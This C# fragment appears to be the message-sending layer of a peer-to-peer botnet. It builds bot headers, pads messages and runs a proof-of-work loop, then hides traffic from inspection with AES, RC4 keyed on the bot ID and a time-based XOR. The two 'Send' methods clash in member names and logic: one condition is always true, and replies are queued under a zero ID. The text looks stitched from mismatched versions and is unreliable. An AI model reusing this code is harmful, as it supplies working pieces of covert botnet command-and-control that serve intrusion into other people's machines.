internal void Send(MessageMetadata metadata, ulong correlationId, short ttl, byte[] payload, BotIdentifier peerBotId)
{
if (!_peerList.IsRegisteredBot(peerBotId) && (metadata.MessageId != MessageCode.Syn || metadata.MessageId != MessageCode.AckSyn))
{
Logger.Verbose("Cannot send message to unkown {0} bot", peerBotId);
return;
}
var peerInfo = _peerList[peerBotId];
byte[] message;
BotHeader header;
do
{
var padding = RandomUtils.NextPadding();
header = new BotHeader
{
CorrelationId = correlationId == 0 ? RandomUtils.NextCorrelationId() : correlationId,
MessageId = (short)metadata.MessageId,
PayloadSize = (short)payload.Length,
Padding = (short)padding.Length,
Ttl = ttl == 0 ? RandomUtils.NextTtl() : ttl
};
var preambule = BufferUtils.Concat(header.Encode(), padding);
message = BufferUtils.Concat(preambule, payload);
} while (!PoW.IsEnough(message, 0, message.Length, metadata.RequiredWork));
if (peerInfo.Handshaked)
{
message = Aes.Encrypt(message, 0, message.Length, peerInfo.EncryptionKey);
}
var endPoint = peerInfo.EndPoint;
Logger.Verbose("{0}@{1} {2}", header.BotId, endPoint, header.CorrelationId);
_communicationManager.Send(endPoint, message);
if (correlationId == 0)
{
WaitingForReply.Add(new Package(endPoint, message, message.Length), header.CorrelationId);
}
}
public void Send(short messageId, ulong correlationId, short ttl, byte[] payload, BotIdentifier botId)
{
if (!_peerList.IsRegisteredBot(botId))
{
return;
}
var padding = RandomUtils.NextPadding();
var header = new BotHeader {
CorrelationId = correlationId == 0 ? RandomUtils.NextCorrelationId() : correlationId,
BotId = botId,
MessageId = messageId,
PayloadSize = (short)payload.Length,
Padding = (short)padding.Length,
Ttl = ttl == 0 ? RandomUtils.NextTtl() : ttl
};
var message = BufferUtils.Concat(header.Encode(), padding);
var rc4 = new Rc4(botId.ToByteArray());
rc4.Encrypt(message);
var now = new TimeSpan(DateTime.UtcNow.Ticks);
var minutes = now.TotalMilliseconds / (1000 * 60);
var xor = new Mod2(BitConverter.GetBytes(minutes));
xor.Decrypt(message);
var endPoint = _peerList[botId];
Logger.Verbose(3, "{0}@{1} {2}", header.BotId, endPoint, header.CorrelationId);
_comunicationManager.Send(endPoint, message);
if (correlationId == 0)
{
_waitingForReply.Add(new Package(endPoint, message), correlationId);
}
}